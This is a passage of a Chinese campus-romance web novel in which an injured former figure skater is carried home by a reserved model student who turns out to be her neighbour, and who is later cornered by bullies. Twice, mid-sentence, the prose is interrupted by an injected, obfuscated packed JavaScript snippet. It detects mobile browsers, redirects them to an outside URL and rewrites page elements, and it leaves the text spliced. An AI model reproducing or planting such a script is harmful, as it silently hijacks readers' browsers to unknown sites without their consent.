男生谄媚道:“方姐,你是我一辈子的姐。” 方婕勾唇笑了笑,看到齐恩从墙边撑着走过。 她先是上下扫了对方一眼:“你回班?” 齐恩颔首,方婕让她注意安全,转身离开了。 男生倒殷切上前:“齐同学,我送你回去?” 离班上的距离也不远了,齐恩以此推脱,却见方婕又急匆匆返回,热情地搀住她的手。 “什么不用啊,扶你回班而已,我们走吧。” 齐恩不明所以,被她搀扶着往前走两步,遇到温主任和卢俜,两人正在楼梯口谈话。 齐恩似乎有些明白了。 方婕停下,和温主任打招呼,温主任当然要问齐恩的伤情。这是她自找的,齐恩实话实说: “卢俜绊我。” 温主任问怎么回事,方婕脸上的笑容消失了。 笑容转移到齐恩脸上:“应该不是故意的?” 卢俜说:“……我不是故意的。” “显而易见的事实。”齐恩挑眉。 她往班门走,这次没人再搀扶她。 齐恩却觉得比方才自在多了。 回到班上睡了午觉,高玟和袁礼米回来了,对着齐恩的脚一阵哭天抢地,说卢俜是卖拐的。 啥叫卖拐的?把好端端的人给忽悠瘸了,双脚都离地了。只不过,不是忽悠,也不是瘸了。 “我就崴个脚,你们把卢俜说得犯罪似的。”齐恩笑了,“行了,再说人家告我们诽谤了。 上午有风波,下午却相安无事。自习课后,齐恩合上蓝本2000题,放学都铃声恰好响起。 “要不我送你回家?”谌俞从身后拍她。 齐恩笑说不用了,“我打算留晚自习。” “留晚自习干嘛?你又不是住宿生。”谌俞皱着眉道,“而且,太晚回家也不安全吧。” 张其薪从前座转过头:“我司机开车来。” 意思是很方便捎你一路,齐恩也说不用。 等到两人离开教室,高玟和袁礼米对视一眼,才异口同声:“长得美就是有人追着送啊。” 齐恩知道她们说的是什么,咧了咧嘴,头疼地捏了把眉心:“我就是不知道该怎么交际。” 高玟喜欢她的不扭捏,不像某些人,拿着异性的喜欢故作姿态,假意为难、实则暗爽。 事实上,齐恩也没必要暗爽。 因为喜欢她的人实在太多了。 “不需要刻意疏离,拿他们俩当普通朋友就好。”高玟顿了顿,又阴阳怪气,“方婕呢,快来学学你齐姐,学学怎么万花丛中过。” 片叶不沾身。齐恩没那么想过,她不是对谈情说爱避之不及的人,只是,从出生到现在,让她有感觉的人很难存在。一般是越了解,对一个人的祛魅越容易。距离是最好的美化滤镜。 一旦戳开,往往不如想象中的美好。 齐恩也没有对谁说中午和方婕之间的事,尽管她对这个女生没有好感。但认识一个人,往往需要更多的接触,而不是一瞬就盖棺定论。 她听了会儿导数和三角函数的网课,关上平板时已经是晚自习下了。留晚自习的人也不少,走读的也有,一般图在教室学习效率比较高。 齐恩没人来接,她可以乘电梯去一楼,只需要单脚到校门口,就能换个麻利点的交通工具。 她背上书包,撑着书桌懒散地踱到门口,看到走廊另一端过来的两个人,是方婕和卢俜。 方婕在对他说些什么,卢俜态度淡淡,不热情也不冷冽。等到了楼梯口,方婕一副还想解释什么的神态,急切起来,伸手拉卢俜的衣角。 卢俜皱着眉心,镜片下的眼眯起,避之不及,向后闪躲。某一刻,两人达到了微妙的僵持。 齐恩的咳嗽声适时响起。 “喂,卢同学。”她说。 “我腿脚不方便,走不了路。作为始作俑者,你难道不打算好心送我到校门口么?” 卢俜站在那儿,他的神情倒像是松了一口气。 他对方婕礼貌告别:“抱歉,我得去帮她。” 三好学生朝她走来,依旧伸出手方便她搀扶。 其实这两人没有本质上的区别,齐恩心想。 他们一班人,都很会做表面功夫。 如果早上卢俜绊到她时四周无人,他不一定会来扶她。如果中午温主任和他不在那儿讲话,方婕也不会去而复返,摆出一副好心的样子。不,也没那么表面,齐恩心想,她来学校第一天,那时小卖部里也没有人,但卢俜还是帮她结账了。也许有点儿不一样呢?她扶住了他。 她往前走了两步,到下楼梯时犯了难。 “……要不去老师办公楼坐电梯?” 卢俜沉默片刻,走那边,有点远,也很麻烦。他把背包拎在手上,纠结地看向她肿高的脚,像是下定了某种决心,先抬脚下两级台阶。 他再回过身:“……我可以背你下去。” 6. 交通工具 齐恩视线上移,卢俜校服短袖下的肩很宽阔。 这让她想到他上午在国旗下穿着正装演讲。 非常板正,给人不能逾矩的规束感。 目光顺着优美的颈部曲线往上,是不高不低的头发。巧克力色的小羊毛卷,蓬松柔软。 薅一把,就薅两下,手感一定棒极了。像午后暖融融的芳草地,指缝里都痒痒绒绒的。 齐恩扼住自己出格的想法。现成的交通工具,三好学生卢俜。谢谢他,她不能不尊重他。 她抬手环住他的肩,低声说: “我和书包一起……有点儿分量。” 并没有,对于卢俜来说,轻而易举。 有分量的东西只是贴着他的肩胛。 他背着她下楼,过了第二节晚自习下课的时间点,楼层里学生很少,他们并不引人注目。 一阶阶往下,并没有奇怪的事发生。 卢俜的身体也没有方才绷得那样直了。 齐恩没话找话:“我还很意外呢,以为你是和异性接触会过敏的人。” 卢俜挽着书包,双手护她:“……没有。” 他被她搞得有点痒,她不说话还好,一说话,潮湿含混的热气喷在后耳廓,像过了电。 齐恩继续问:“你累不累啊?” 她要滑下去了,卢俜往上抬。 “不累。”他只是觉得有点儿热。 毕竟是夏天。夏天是流汗的季节。 “那你背我到校门口吧。”齐恩说。 卢俜一时无语:“……哦。” “哦是什么意思,你不情愿?”齐恩嘀咕,“我不强人所难,你没劲,没事的。” “我没有不情愿。”下到一楼,卢俜的身形停顿了片刻,“那你帮我提着书包吧。” “得嘞,我帮你背着。”齐恩伸手接过,一起背到后面。卢俜再把她背起,这次更轻巧了。 “你有劲啊,卢俜,你劲劲儿的。”齐恩鼓励他,“你要不要试着把我背到家?” 卢俜惊讶了一瞬,对于她的提议: “……你别得寸进尺。” 他总算说点接地气的话,齐恩嘿嘿一笑。不知为什么,看卢俜端着,她总想让他多点情绪。 乘胜追击。齐恩继续问:“你也是走读生?” 卢俜回答是。齐恩问你家住得离学校近吗。 回答在学区房。“你是父母陪读呀?” 操场夜风习习,空气静谧,热潮汹涌。卢俜没说话,他一个人住。父母是很陌生的存在。 “榕城真好。”齐恩说,“出门就能看海。” 卢俜想,榕城处内陆以南,但离沿海有距离。 齐恩补充道:“火海。” 卢俜再无语:“……” 没人接梗,齐恩也有点难受: “卢俜,你好高冷啊。” 卢俜抿了抿唇,“你家住在哪里?” 齐恩惊喜道:“你打算背我回家吗?” “不是,我给你打计程车。” 他说话的空隙,一颗晶莹的汗珠顺着后脑勺的发丝间流下。室外三十五度,齐恩也很热。 她不会真的让他背回家,但他给她打计程车。现在的卢俜像那时给她付款的小卷毛兜帽哥。 齐恩更喜欢热心肠的卢俜。 “你的兜帽呢?怎么不戴上了?” 卢俜迟疑片刻,才回答: “不翘课,不用避人,就不用戴。” “哦?三好学生还翘课啊?” “我只是去图书馆自习。” “你不怕学生会查勤查到你?”齐恩又想到他和方婕的关系,“哦,你当然不怕。” 卢俜没多解释,她又要滑下去了。 他再次提了提手臂,齐恩惊呼出声。 一刹那,卢俜感受到身后袭来的气息。 不是某种沐浴液、香皂、洗衣粉的味道。 不循规蹈矩,很清冽浓郁的中草药香。 卢俜呼吸轻缓下来:“抱歉。” 齐恩环着他的手紧了紧: “你吓我一跳,下回说一声。” 卢俜听到下回,眉头蹙了半分。 “我每天都要背你吗?” “那不然呢,谁害我变成半残疾?” “那是周第说的。”卢俜局促地辩解。 “嗯———?”齐恩不乏兴师问罪的意思。 卢俜只解释:“……想帮你的人很多。” 不缺我一个,卢俜是这个意思。齐恩很受欢迎,想方便出行,肯定有男生愿意施以援手。如果她需要的是这个,完全不必揪着他不放。 事实上他说的不错,齐恩刚婉拒过班上两位。 只是,齐恩也有自己的打算,她还不想刚上学就沾染一些难以摆脱的口舌是非。 “那你呢?想帮助我的人里面,不包括你呗。”齐恩半揶揄半认真,“三好学生?” 到校门口了,卢俜给她拦了一辆计程车。 他没否认,让司机把她送到地方。 “到家之后,让你家里人下来接你。”卢俜接过自己的书包,“既然你不想走楼梯的话。” 齐恩勾起唇笑了笑,“我家就我一个人住。” 她关上车门。 后视镜里,卢俜的身型挺拔缄默,如话语一样意赅。仍然站在路灯下,平静地目送她远去。 . 计程车到永安里的聚民社区。这儿其实也算是学区房,离一高和三高这两所市重点都很近。 齐恩选择租在闹市,也是因为出行方便。虽然基础设施和装潢都很老旧,租金却很好接受。 走进鸳鸯楼,家在三楼。自己租的房子,特意选不高的楼层。齐恩庆幸自己有先见之明。 扶着沾满灰尘的斑驳栏杆,齐恩的手指触碰到陈年口香糖的痕迹,她渐渐蹙深了眉头。 只靠右脚一点点地跳上去,很累。天太热,她只爬了半层就筋疲。鼻尖淌着汗,流到下巴。 月光从剪刀楼梯和天井间洒进来。 齐恩把水光和月光一齐从亮晶晶的颈上抹去。 她的脸在苍白的月色和石灰的缝隙里暂寂。 【你有想过以后会怎么生活吗?】 【抛去花滑天才的身份,你也只是普通人。】 【齐恩,多年以后,你只能仰望我们。】 齐恩的魂颤了颤。最窒息的时候她已经挺过去了,现在比那时候好,比什么都做不了好。 比跌落在冰面无能为力好,比一遍遍看着曾经意气勃发的自己,如今却日落西山好得多。 接受自己是个普通人,没什么难的。 齐恩,你也不是腿废了就没有价值,不是吗? 不知过去了多久,齐恩缓过了神,继续咬牙往上爬,这次用了肿胀的左脚,刺痛让她脱力。 这时,脚下有脚步声响起,逼近了。 齐恩眼睫眨汗看向他。卢俜来到她面前。 他把书包再次递给她,熟稔地俯下身。 “几楼?”他问,“你的家。” 齐恩说:“三楼,再上一楼就到。” 他背着她上行。 齐恩问:“你怎么在这儿?” “我住这儿。”卢俜说,“四楼。” “一号楼还是二号楼?” “二号楼。” “那我是一号楼。” 到三楼了,齐恩指了指,“靠花坛的房门。” 卢俜把她轻放在家门口,月光下他背对着她,人因运动而起伏,雪白的细绒毛在脸颊长喘。 齐恩盘算着他那一头软乎乎的小羊毛卷。 卢俜没打算久留,他说再见,折身往楼道去。 齐恩再叫住他:“卢俜。” “什么事?”他波澜不惊。 “你还没加我,给你发好友申请了。” 卢俜拿出手机通过:“加上了。” 齐恩偏开月光,打量他泛红的耳廓,“嘿。”她善诱,“让我摸一下你的头发,好不好?” 卢俜低头说不好。 这回离开得干脆极了。 一号楼和二号楼只隔天台,和窄窄天光一缝,半片月光帷帐。齐恩看着卢俜走过楼梯,他的背影谈不上孤单,楼道的声控灯拉长了影子。 一步步的,他走到她家的对面。 左偏一些的2403,那是他的家。 他开灯才算家。 家门口的鞋柜上很空荡。 只有他自己的一排运动鞋。 齐恩意识到他和她一样。 这感觉让她更共鸣。 齐恩支着那只左脚,月光温柔,她在出神。 直到手机那方传来了消息震动的提示音。 【卢俜】:你没带钥匙? 齐恩回答不是,在赏月。 卢俜那边显示在输入,然而没了动静。 齐恩这才打开房门回屋,她把书包放下。 浑身都是黏腻的汗,她去卫生间洗澡。 洗完澡出来,她穿着轻便的米色吊带和睡裤,擦干左脚,随后是上药包扎。冷气开到最大,她忘记戴干发帽,反应过来时打了一个喷嚏。 把看过的书和不常用的家具都清到杂物房,耷着脚拖一遍客厅,看到玄关处的一副拐,齐恩咬了咬牙,起身,就着清出的垃圾,把这双拐甩到楼道的垃圾堆。拍拍手,她畅快地笑了。 齐恩回到屋里学了会儿习,盘着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410165|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿看三门大文科的书本,捡着袁礼米划的重点记背。现在正是一轮复习的开始,如果能跟上,提分很快。 剩下的,齐恩托前教练联系好了艺考机构,下半年开始集训。走艺考,要准备的还有很多。 想走这条路,齐恩靠的不能只是外表。 但平心而论她对表演没有多少热爱。 作为自己决定命运的青年,没人能给她参考。 齐恩具备这个年龄的孩子该有的迷惘和惆怅。 尤其,她还比别人多获得一些,多失去一些。 学到晚上十一点,齐恩打了个哈欠,再次打开手机,她发现自己漏掉一些消息。谌俞晚八点问她到家了没,张其薪也是。高玟打来电话,当时她在洗澡没有接,接起后对方吓坏了。 “姐,大晚上的,你一个瘸子怎么回家啊?” 齐恩一边跟她通话,一边回消息。 “是卢俜送我回来的。” 高玟愣了愣:“是我想的那个卢俜吗?” “不然呢?咱们学校除了他还有谁叫这个?” “他……他?”高玟不可置信,“他送你?” “你再说一遍谁送的你?” “卢俜送的我。” “卢俜送的谁?” “送我,他送我回家。” “等一会儿,卢俜怎么你了?” “……你马冬梅没完了是吧?” 高玟嚷:“这不能怪我,你敢说我都不敢听,卢俜诶!他那种人能和乐于助人沾上边么?” 齐恩抬手:“你别着急,我给你理一理。” “得,你怎么给我理?这太猎奇了。” “首先我在走廊看到卢俜和方婕,方婕在掰扯他,我就伸出援手,问他能不能扶我下楼。” “嗯,挺好。”高玟赞同,“不管卢俜咋样,看到方婕不舒服,我心底就舒服多了。” “然后我下不去,卢俜说能背我下去,我想着有福不能不享,没苦不能硬吃,我就准了。” “他能好心背你?他转性了?”高玟嘟嚷,“好吧,他一个三好学生是该装一下的。” “他背我下楼,我让他背到校门口,我打计程车回家。反正最后发现我俩同一栋楼。” “等等,这也巧到家门口了吧!什么叫最后你俩同一栋楼?怎么一下子就变亲近了?” “亲近倒不至于。只是我有一个想法。谌俞对我八成有意思,张其薪对我有五成意思。” 高玟咬着指甲想了想,“是,没错儿呀。” “你说卢俜对我有没有意思?” “这……虽然他送了你,但我觉得……” “他对我一点意思也没有。”齐恩笃定地道。 “你说,张其薪和谌俞都不喜欢卢俜,如果我和卢俜玩得好,他们肯定能对我祛魅。” 高玟惊呼一声:“正解啊,姐。你这思路无敌了,而且还多了一个便于出行的交通工具!” 这么讲太不人道主义了。 但是齐恩还是决定尝试一下。 她跑到厨房的窗户边看一眼。 2403的那一间还亮着灯。 她给卢俜发消息:“你睡了没?” 两分钟后,卢俜回复:“没有。” “好学生,我有事儿找你商量。” “什么事?”卢俜没有好预感。 “咱们现在是邻居,又是一起回家的关系。” 她做这么多的铺垫,卢俜问:“所以?” “能不能和我每天一起上下学?” “……你的意思是要我给你当龟奴?” 含义十分不妥,卢俜撤回,又发:“不行。” “为什么?”齐恩又反问,“谁害的我?” 卢俜感到麻烦:“你的拐呢?” “我卖了。”齐恩回他的是语音。 卢俜发来了三个句号。 嘿,什么意思,齐恩干脆打去电话。 对面挂断,她再打,再挂断。 “你不接,我就去敲你家房门了。” 卢俜接起:“你到底想怎么样?” “送我上学放学,在我没痊愈的这段时间。” 卢俜委婉的:“实在不方便,可以请病假。” “我方便。”齐恩反唇相讥,“你不方便?” 卢俜那边没了回复。 惟有翻页的沙沙声。 “明天在楼道口等我。”齐恩说。 卢俜依旧怄着气,不搭理她。 “我要去敲你家门了。”齐恩作势起身。 “明早七点。”卢俜说,“请你准时!” 他用了请,好微妙的措辞。 齐恩忍不住偷笑起来。 7. 三女一男 次日一早,齐恩拎着书包出家门。 卢俜脸色阴沉,站在楼道口等她。 齐恩不大利索地走过去:“怎么了?” 卢俜没说什么,盯着不远处的垃圾堆。 齐恩意识到昨夜丢的拐还躺在那儿。 她不自在地笑笑。 好在卢俜不打算和她掰扯:“背你下楼。” 齐恩顺而接过他的书包:“你吃早饭了没?” “没有。”卢俜说。齐恩的肚子咕噜噜响。 “楼下有牛肉面馆,我想吃汤粉。我请你。” 卢俜蹙眉:“来不及,我们班七点半早读。” “啊?我们班八点才开始啊。” “每个老师的规矩不一样。” 这倒是实话,而且年级最好的班和最次的班,肯定也不一样。齐恩把面打包了,卢俜去便利店买三明治。随后,两人在街口面面相觑。 “你平时怎么去学校?”齐恩问,“走路?” 卢俜点头,吃口三明治,咀嚼的力度很克制。 “那你现在什么打算?背着我去上学?” 卢俜:“……这不就是你想要的吗?” “我是身体有疾病,不是心理有疾病。”齐恩扶额,“让一个半拉男同学背着我上学,我是什么很坏的人吗?作文素材都不这么写。” “那你想怎么办?”卢俜神色略微缓和。 “……坐公交吧。”两人挤上了九号路。 车上没有座位,卢俜戴着耳机默念英语课文,修长的手臂攀在横杆上,齐恩干脆就把手攀在他的胳膊上。他甩开,说别这样,齐恩瞪他问那咋了。卢俜没话了,她继续刷百词斩打卡。 一站路的车程,还要往回走几百米才到校门,住永安里附近的学生,没人会坐公交车上学。 当然,腿脚不便的除外。齐恩被人流裹挟着下了车,卢俜扶稳了她,他看上去像上战场: “你确定要我扶着你进校?” “我要的就是咱俩一起进校门。” “我可以喊你们班同学来接你。” “我要的就是你,不是你还不行。” 卢俜愈发狐疑地瞧着她。 “干嘛?”齐恩回瞪他,“正常的男女交际好不好?谁犯错谁承担,谁主管谁负责,谁把我搞瘸了,谁就要负担起我的日常起居!我都没有找你要赔偿费,你噜噜个脸给谁看呢?” 卢俜深吸一口气,“我没有噜噜个脸。”他拎起齐恩的胳膊,“走吧,上课要迟到了。” 于是。在其余同学或好奇或诧异的目光下,市三好学生搀扶着受伤的前国手进了教学楼。 不出意外,全校学生都知道卢俜绊倒了齐恩,现在是赎罪阶段。齐恩反而悠哉惬意,趁着还没上早自习,在学生餐吧里享用自己的早膳。 有同学也偷摸出来吃早餐,见到她打声招呼。 自从齐恩进了班级群和年级群,来加她的人源源不断。她现在已经认识一些有特征的人了。 但最让她印象深刻的还是一班的周第。 这货加了她,却没有说一句话。 齐恩对周第的印象还是之前张其薪斗殴那事,他说自己半残。当下在餐吧遇到,周第很不自在,搔首弄姿的,齐恩却视若无睹地咬面条。 餐吧里有空调,但牛肉面加了红油,齐恩还是吃出一身汗。她用手背拂去鼻尖的水珠,周第立刻打开一旁的冰柜,递给她一瓶冰镇汽水。 “给我的?”齐恩抬头看他。 周第颔首,坐在她的对面。 齐恩接过放在一边,继续吃面。 “你和张其薪关系很好?”他问。 齐恩放下碗筷:“你和张其薪关系很差?” “……反正我劝你们女生少和他往来。” 齐恩没问他为什么。 “你为什么和我说?” “我只是好心劝告你,别什么都不明白,被人卖了还帮人数钱,你们女生就是这么单纯。” “从哪儿看出来的?” 齐恩冷笑一声。 “张口一个女生,闭口一个女生,怎么?我们没带把儿的就方便你贴标签吗?你是从哪儿看出来我单纯的?因为我刚到你们这所学校?因为我是个有名的人?还是……因为我的脸?” 齐恩轻描淡写道:“到底是以貌取人吧?” 周第恼怒起来:“你不过是长得凑合些!” 他破防了,真好笑。 没有边界感的家伙。 “凑合些?”齐恩反唇相讥,“我很美吧。” 她走向他,迫使他只能看她,“不是吗?” 餐吧是玻璃墙的,外面的人能清楚看到里面。 周第做贼心虚地往后退,齐恩则步步紧逼。 “走廊都是人,你……你做什么?” “你怕什么?”齐恩勾了勾唇畔。 下一秒,齐恩错开他,把剩下的面扔进他身后的垃圾桶里。周第只收获她潇洒离去的背影。 “我只是个半残废,还能怎么你吗?” . 齐恩回到教室,班级里晨读的声音稀稀拉拉,袁礼米和高玟都在补觉,前者是学习学到太晚了,后者纯粹看电视剧看的。昨晚打完电话,齐恩就关书睡觉了,高玟说要熬夜看网剧。 不想打扰两个补觉的人,齐恩看到张其薪旁边有空座位,干脆坐过去,拿出政治课本背书。张其薪开口:“你早上和卢俜一起来学校?” 齐恩说了声是,张其薪面色略沉。 “刘彩说过,少和一班的人往来。” “我那是正常往来。”齐恩笑道,“他弄坏了我的脚,就得帮助我,天经地义。而我出行不方便,也没道理不接受他的帮助,是吧?” 张其薪本不该再多说,可看着齐恩笑意盈盈的脸蛋,他没能忍住:“昨晚我说了能送你。” “那不是太麻烦你和你家司机了?”齐恩说。 “那你也没必要麻烦一个本来就不熟的人。” 齐恩若有所思,轻飘飘道:“没有啊。” “没有不熟,他请我喝过水,开学第一天。”齐恩顿了顿,“我和他都住在聚民社区。” 张其薪无话可说,深吸一口气:“好。” 早自习后,刘彩进班说月考事项:“这是期末前最后一次月考了啊,大家都按照自己的复习节奏来,好好准备,争取考过隔壁老十八。” 听到最后一句话,又有人窃窃笑语。 十七班和十八班简直了,两个文科艺体班,成绩一等一的差,每次都在年级倒数第一和倒数第二之间争风,说是难兄难弟也不为过。 刘彩和隔壁十八班的秦老师也是难兄难弟,每逢开会必会被点名。好在哥俩心理素质不错,教这种班级求的是什么?不求有功,只求无过,只要安安稳稳让娃们混到毕业就行了。 只有谈到考试,袁礼米才从桌子上爬起来听。她眯着眼看黑板上的课表,从乱糟糟的课桌里抽出下节课的课本,齐恩正好趁着时候进来。 高玟嘟囔了一声,调了个方向睡的更熟。 齐恩问袁礼米:“她不是说下课就能醒?” “那是已经睡饱的情况。”袁礼米说,“早读的课间就五分钟,她会睡呢,大课间才起。” “睡神。”齐恩感慨,“彩姑娘还说你是睡神,谬误!她才是睡神,你不是睡神。” 袁礼米软绵绵的:“我哪有那么能睡呀!” 早上两节语文课其实也没什么好听的,还差两单元结课,不复习和讲卷子的情况下,不如刷刷教辅来得实在。齐恩在高考必刷题上挑板块做,最先做的是三大阅读题。除去作文,还有平时积累背诵才能拿到的分,那个不能着急,慢慢来,首先要熟悉地区高考的试卷内容。 政治课刚开始一轮复习没多久,齐恩把昨晚抄完笔记的政治一课本还给袁礼米。花了点时间追之前的课件,现在正好能跟上刘彩的进度。 后面都是一排排趴下的,她干脆趁着大课间拿书到前排去。不一会儿,袁礼米揉着红红的眼坐在她旁边,齐恩问她要一颗提神的荷氏糖。 刘彩稀奇齐恩坐前排:“学习态度可以啊。” “还是彩老师教的好。”齐恩笑嘻嘻奉承他。 临到快上午第三节课了,谌俞才鬼鬼祟祟地从后门溜进来,不巧,被刘彩逮了个正着。 “早上两节课干嘛去了?”刘彩兴师问罪。 谌俞明显睡过头了,一脑袋的鸡毛乱蓬蓬。 他挠头笑道:“上厕所。” “……还笑,再这样就送你去男性肛肠科。”刘彩再一次轻轻放下,“下不为例啊。” 谌俞溜回后排,抬头一看,没在齐恩位置上看到人。他又左右张望一会儿,最后在第二排看到她和袁礼米坐在一起,聚精会神地听讲。 “靠,这叛徒!”他切齿,“说好摆烂的。” “谁和你说好摆烂?”高玟见怪不怪的,“人齐恩学的可认真了,别把她和你相提并论。” 谌俞振振有词:“她说了这次月考摆烂的!” “那是因为她才刚开始学,再怎么努力,能考多少?倒数哥,你还是担心担心你自己吧。” 谌俞老脸一红,又看向前面的张其薪,干脆拎着包坐过去,随手打开书本遮避刘彩的视线,“那啥,还有半个月就是齐恩的生日了。” 张其薪微妙地捏紧了笔杆,“那怎么?” “你说我给她准备什么好?”谌俞乐颠颠的。 张其薪没作答,又看他一眼:“该不会……” 谌俞破天荒没反驳,局促地捏着泛红的鼻尖:“反正你就当不知道呗,给我参谋参谋。” 谌俞皮相俊,身材也好,是时下招女生喜欢的黑皮体育生类型。他本人倒是很直接,不喜欢的女生和他表白不当一回事。到目前为止,也没有特爱挂在嘴边的异性,齐恩倒是第一个。 谌俞喜欢齐恩,张其薪惊讶,但没有那么惊讶。喜欢齐恩是很正常的事,无论她的脸,还是性格,都是让人无法讨厌的存在。除此之外,她不那么好接近,比想象中的要疏离。 “你不是还喜欢方婕吗?”谌俞兴致盎然的,“你现在还在追她吗?给我取取经呗。” 张其薪张了张嘴,欲言,最终又闭上。 他无所谓地笑了一下:“可以。” . 到了中午饭点,齐恩自个儿去了一趟医务室,让值班老师给可怜的左脚重新上了一遍药。 上完药不能马上穿鞋,容易闷着。 她干脆翘着脚在病床上补觉。 没想到再睁眼,是上课前十分钟铃打响。 齐恩睡得头昏脑胀,看来午觉睡久了也不好。 她穿好鞋,跟老师要了个退烧冰贴,跳着单脚去卫生间洗了把脸,冰贴啪唧一下贴在额头。 透心凉,心飞扬。 齐恩清醒多了,一脚深一脚浅离开办公楼。 这时候,走廊那端走来三个人,正好碰上。 “是齐恩呐。”大腹便便的温主任和蔼地问,“这都要上课了,你还在办公楼干嘛?” “给脚上药。”齐恩又看向他身后的两人。 哟,好巧,交通工具和学生会长。 齐恩懒散玩味地挑起眉稍。 卢俜抿了抿唇,没说什么。 “正好,我也找你有点儿事。”温主任说,“你和卢俜、方婕,一起来我办公室。” 齐恩面露难色:“下节是陈天师的课。” “我会给你开假条。”温主任遂叹息一声,“你们啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410166|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别成天给老教师起这种外号!” 齐恩应了一声,跟在两位三好学生后头。 方婕回头看他一眼,脸色不太好看: “齐恩同学,请你把校服穿好。” 齐恩才注意到自己裤腿没有放下。 她俯身把裤腿捲到底,再站起来时,脚踝突如其来的刺痛。她一个踉跄,有人伸出了手臂。 她也下意识地扶稳。 她以为是方婕,心想学生会长人还怪好嘞。 结果看到的是卢俜那张一如往常的木头脸。 齐恩假模假样地朝他道了声谢,卢俜没松手,搀扶着她往前走。温主任看到,十分欣慰:“同学之间就是应该这样互帮互助。一班和十七班关系不好,我们老师才是最头疼的。” 方婕闷闷地走在前头,时而回头看一眼,又看一眼,目光止不住落在两人接触的手臂上。 齐恩似乎有些了然,关于卢俜和方婕的关系。 卢俜的视线挪到她额头上的蓝色冰贴上。 她的脸太标致,一时间竟让人忽略这个。 “……你发烧了?” “没有,就是热。” 她问:“温主任叫我去办公室干嘛?” “优秀学生代表的事,待会他会讲的。” “哦,吓死我。我还以为要挨批了。” 卢俜冷飕飕睨她:“不做亏心事。” “我做什么亏心事儿了?”齐恩问。 “骗人。”他指的是早上那副弃拐。 齐恩装不明白:“我骗你啥了?” 卢俜正要说什么,身边人的肚子呼噜噜叫。 齐恩特别大声:“卢俜,肚子饿了也不说!” 温主任闻言回过头,问卢俜怎么不吃午饭。 卢俜铁青着脸不答话,齐恩憋着劲地偷笑。 到了办公室,温主任递过来表格:“下个月有领导下来视察,学校打算搞个优秀代表迎接,除了之前几个市三好学生,还有你,齐恩。” 齐恩指了指自己:“我?” “体育人才也是人才。你知名度还那么高。” 得,都是前国手了,还要给学校当活招牌。 温主任又讲了一些注意事宜,还有措辞问题:“到时会给大家准备正装,还有发言稿。” 温主任看齐恩的脚,多问一句: “你那时候脚伤应该痊愈了?” “那得看我的日常出行有没有人帮助了。” 温主任发话:“卢俜,既然是你把人家弄伤,就要能帮则帮,照顾好人家,听见没?” 于是回班路上,齐恩还耀武扬威地撞卢俜的肩膀,学温主任的语气:“听见没?听见没?” “……听见了!”卢俜几乎一字一顿地道。 卢俜把齐恩送到班门口,她问他留晚自习吗。 卢俜说留,齐恩说,那你晚自习下了来接我。 意思是要一起回家。 卢俜思索片刻,说我不留。 “那你放学了来十七班等我。” 这不是一个意思么。 卢俜无语凝噎。 他转身回班,方婕这时候才慌忙开口: “卢俜,你真要天天送齐恩上下学?” 卢俜脚步不停:“这是温主任的安排。” 方婕咬了咬唇,“但是她摆明了……” “摆明了什么?” “摆明赖上你了!” 方婕满脸愠色:“她明明不缺人,非得找你,要你背她,还非当着温主任的面说。你只是不小心绊了她而已,她没必要一直缠着你吧?” “不管有心无心,是我绊倒的,就要负责。” “那个谌俞,他不是对齐恩很殷勤?干脆让他负责呗。还有张其薪,都是十七班的班干部,怎么就非要你这个一班的班长去负责她?” 她能想到,卢俜何尝想不到。 又或许齐恩也和他一样。 只想合理规避一些麻烦。 . 很奇怪的,放学后,齐恩并没有等到卢俜。 第二十一分钟,她有些坐不住了。 她望向走廊对面的一班门口。 人早已经走光了。 卢俜。 她在嘴里念叨一遍。 卢俜!你才是骗子! 她气冲冲地拎书包,关门关灯关教室,下楼。 一瘸一拐地往校门口去,给卢俜打电话。 没人接。 卢俜虽愚蠢,但实在美丽……不对!是老实!齐恩觉得,他还做不出放她鸽子这等混蛋事。 然而,有时齐恩也要承认自己的自大,曾经那血与泪的教训:冰面上刺目狰狞的红迹,再也无法康健的脚踝,赛场上如潮水般的哗然…… 脑海里一叠叠画面闪逝。 齐恩逐渐停下了脚步。 得,又不是没了他就回不了家。 她不是没了什么就活不下去的人。 齐恩往对面的公交车站走去。 只是,在两幢居民楼之间夹拥的一道巷口前,她停下了脚步。里面有动静,动静还不小。 齐恩看过去,在巷子的深处,三个头发五颜六色、穿着性感的太妹围着一个同校的男学生。 有女生嬉笑着拍打他的脸颊,用手掌。他顺着力度偏过头去,又有人拉他头上灰色的兜帽,露出亚麻褐色的卷发,恶劣地上手去拽去扯。 齐恩的呼吸缓慢下来。 她一瘸一拐往里走去。 “喂。”她说,“卢俜,在干嘛呢?” 卢俜不说话,靠着破败的墙面站稳了。 “三女一男,你们玩的挺开啊。” 齐恩不动声色地挽起袖子。 “加我一个?” 8. 齐恩学姐 夕阳赤列,余晖透过狭窄的巷口,喷洒在齐恩的脸颊上。光与影铸造出电影镜头里的画面。 她很美。饱满立体的额角、高耸苛刻的眉弓,瞳孔并非东亚人那般漆深,通透冷性,珍珠似的球体闪烁华光,黑长睫如骑士下击的重剑。 像油画里的人走过来,忽略她的腿脚有难处。也许残缺放在她身上也是特点,譬如维纳斯。 “这是在做什么?”她问。 刚才拽卢俜额发的那女生呼吸一滞,正扬手,却被另一个人拦下来,指着齐恩说了些什么。 